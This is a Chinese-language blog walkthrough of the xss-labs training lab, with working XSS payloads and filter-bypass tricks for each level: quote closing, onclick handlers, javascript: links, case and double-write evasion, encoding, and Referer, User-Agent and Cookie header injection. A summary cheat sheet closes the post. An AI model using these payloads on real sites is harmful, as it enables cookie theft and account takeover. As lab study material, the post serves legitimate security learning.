xss-labs实操

文章目录

1.Level

无过滤法

2.Level2

">闭合

">&submit=搜索

通过观察发现alert里的引号没了,是不是被过滤了呢

因为如果该语句类似如下

<"Str">,也就是说script在引号里面,那么是执行不了的,需要闭合操作,因此前面加个">扔给前面的雨具语句

3.Level3

单引号闭合+事件函数

回显正常,但是没有执行,是什么原因呢,看下面这个发现是在input里

而input可以执行如下的事件函数

主要事件表:

这些都是可供参考的模式

因此构造payload:' οnclick= alert("123")

出现了红色的onclick,前面用双引号不出现

但是发现alert前面被加了双引号,然后后面又有一个单引号和双引号

因此应该补一个单引号,所以

payload:' οnclick=' alert("123");

4.Level4

双引号闭合+事件函数

输入

发现返回了

看这里也是用到了input,那么还是用事件函数

payload:" οnclick=alert('123');"

5.Level5

引号闭合+链接

输入

发现变成

说明script被过滤

还是input,还得用事件函数

输入" οnclick= "alert('123');

o和n被插入了_,也就是说需要做关键字绕过

因此只能再寻找方法:"><a href=javascript:alert('xss')>xss

发现这个方式没有过滤

6.Level6

大小写绕过

script还是被过滤,不能用

onclicke也被过滤,不能用

href也是,那咋办呢

大小写绕过:"><a hRef=javascript:alert('xss')>xss

7.Level7

多写绕过

这一关会直接删除script,会删除on

绕过方法很简单,多写就行:" oonnclick=alert('123');"

即中间多写一个on,两边再接起来就行

8.Level8

unicode编码

href 和script都被过滤,大小写也没用

最后只能使用unicode编码

https://c.runoob.com/front-end/3602/

javascrIpt:alert('xss')

9.Level9

unicode编码+//注释

或unicode编码+/**/注释

输入http://www.baidu.com,没有报错

输入:javascript:alert('xss')//http://www.baidu.com

Unicode编码一下javascript:alert('xss')

//表示注释后面的内容

javascript:alert('xss')//http://

10.Level10

隐藏标签赋值

需为t_sort赋值,需把type赋值为空,不然不显示

t_sort=123" type="" οnclick="alert('xss')

11.Level11

手动编辑赋值

这一关也存在隐藏标签

t_link=123" type="" οnclick="alert('xss')

t_history=123" type="" οnclick="alert('xss')

t_sort=123" type="" οnclick="alert('xss')

t_ref=123" type="" οnclick="alert('xss')

逐个试完还是只有t_sort有变化,但type被写死了

既然语句写不进去,那么手动编辑就好了,强制给type赋值

referer注入

方法二是使用bp抓包通过修改入口referer链接实现

12.Level12

和上一关一模一样的做法

12关方法二

UA头注入

13.Level13

Cookie注入

14关程序有误,链接点不进去,好像是个上传页面,要上传一个有exif漏洞的图片,算了,知道咋回事就行

14.xss绕过总结

1)测试需观察点

浏览器左下角查看器,查找注入点所在代码

burp响应包referer/UA/cookie三处位置看是否在提交包中有对应信息

2)无过滤法

3)">闭合

">

4)单引号闭合+事件函数

' οnclick=' alert("123");

5)双引号闭合+事件函数

" οnclick=alert('123');"

6)引号闭合+链接

"><a href=javascript:alert('xss')>xss

7)大小写绕过

"><a hRef=javascript:alert('xss')>xss

8)多写绕过

" oonnclick=alert('123');"

9)unicode编码

javascript:alert('xss')

javascrIpt:alert('xss')

10)unicode编码+//注释

javascript:alert('xss')//http://www.baidu.com

javascript:alert('xss')//http://

11)隐藏标签赋值

t_sort=123" type="" οnclick="alert('xss')

12)referer注入

" type="" οnclick="alert(document.cookie)

13)UA头注入

" type="" οnclick="alert(document.cookie)

14)Cookie注入

" οnclick="alert('xss') type="

相关推荐
neter.asia13 分钟前
vue中如何关闭eslint检测?
前端·javascript·vue.js
~甲壳虫14 分钟前
说说webpack中常见的Plugin?解决了什么问题?
前端·webpack·node.js
光影少年33 分钟前
vue2与vue3的全局通信插件,如何实现自定义的插件
前端·javascript·vue.js
As977_34 分钟前
前端学习Day12 CSS盒子的定位(相对定位篇“附练习”)
前端·css·学习
susu108301891136 分钟前
vue3 css的样式如果background没有,如何覆盖有background的样式
前端·css
Ocean☾38 分钟前
前端基础-html-注册界面
前端·算法·html
Dragon Wu40 分钟前
前端 Canvas 绘画 总结
前端
CodeToGym1 小时前
Webpack性能优化指南:从构建到部署的全方位策略
前端·webpack·性能优化
~甲壳虫1 小时前
说说webpack中常见的Loader?解决了什么问题?
前端·webpack·node.js
~甲壳虫1 小时前
说说webpack proxy工作原理?为什么能解决跨域
前端·webpack·node.js